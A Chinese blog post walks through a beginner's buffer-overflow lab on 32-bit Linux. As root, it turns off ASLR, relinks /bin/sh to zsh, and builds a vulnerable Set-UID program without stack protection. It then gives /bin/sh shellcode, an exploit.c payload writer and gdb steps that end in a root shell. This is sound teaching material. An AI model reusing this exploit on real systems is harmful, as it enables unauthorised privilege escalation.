缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

实验准备

  • 之前一直听说缓冲区溢出攻击,具体是什么,怎么回事。一直没有学习过。正好今天有时间。一边学习一边写下此文。
  • 本次实验只是想体会了解一下缓冲区溢出攻击,复现一次简单的提权过程。没有较为深入的学习。而且为了减少实验的复杂程度剔除了很多障碍。

为了方便观察汇编语言,本次操作建议在32位Ubuntu | linux操作系统中进行。

如果你目前的环境是64位可以输入下面的命令,安装一些用于编译 32 位 C 程序的软件包。之后用于使用32位程序包编译c程序。

$ sudo apt-get update

$ sudo apt-get install -y lib32z1 libc6-dev-i386

$ sudo apt-get install -y lib32readline-gplv2-dev

初始设置

在 Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此为了方便(捂头)本次实验中,使用以下命令关闭这一功能:

$ sudo sysctl -w kernel.randomize_va_space=0

此外,操作系统为了进一步防范缓冲区溢出攻击或其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限。linux 系统中,/bin/sh 实际是指向 /bin/bash /bin/dash 的一个符号链接。

/bin/bash 中存在这个防护措施。所以·····还是为了实验的简单,这里使用另一个 shell 程序(zsh)代替 /bin/bash。使用下面的指令设置 zsh 程序:

  • 我的实验环境和本地不同,具体命令可能会有所改变。
$ sudo su

$ cd /bin

$ rm sh

$ ln -s zsh sh

$ exit

1

shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

本次实验的 shellcode,就是刚才代码的汇编版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

漏洞程序

首先我们先在tmp目录建立一个漏洞程序stack.c

cd /tmp
vi stack.c

i切换插入模式,输入下面的代码

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
然后esc 输入:wq保存退出。输入cat stack.c检查一下程序是否完整。
之后编译该程序,并设置 SET-UID。命令如下:

$ sudo su

$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

$ chmod u+s stack

$ exit

2

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。

-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

攻击程序

建立这个程序的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。下面开始。

同样在 /tmp 目录下新建一个 exploit.c 文件,输入如下代码:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
  • 注意上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面来获得我们需要添加的地址。

现在我们要得到 shellcode 在内存中的地址,需要使用gdb调试。输入命令:

$ gdb stack
//输入后开始调试stack文件。然后输入下面的命令
$ disass main

3

输入后可以看到调试的结果,第一个标红的代码是str起始的地方。第二个是我们需要设置断点,来获取地址的地方。

4

回车继续,分别输入

b *0x080484e8   //回车

r  //回车

i r $esp //回车

5

成功返回了断点的地址:0xffffd060。现在可以退出了q 回车 y 回车。

根据语句 strcpy(buffer + 100,shellcode); 还需要计算 shellcode 的地址。 0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)

现在返回修改exploit.c文件!将\x??\x??\x??\x??修改为 \xc4\xd0\xff\xff

6

保存退出编辑,进行编译。

gcc -m32 -o exploit exploit.c

进行攻击&结果

先运行攻击程序exploit,再运行漏洞程序stackwhoami 是操作系统中用于查看当前有效用户名的命令。可见,通过攻击,获得了root 权限!

7

结语

到此一个简单的缓冲区溢出漏洞实验就结束了。此次收获还是挺多的,粗略的学习了一下基本原理。今后如果有机会的话会更深入的去学习。

最后修改:2018 年 12 月 02 日 10 : 05 AM
生活需要一些仪式感,比如手冲一杯咖啡:)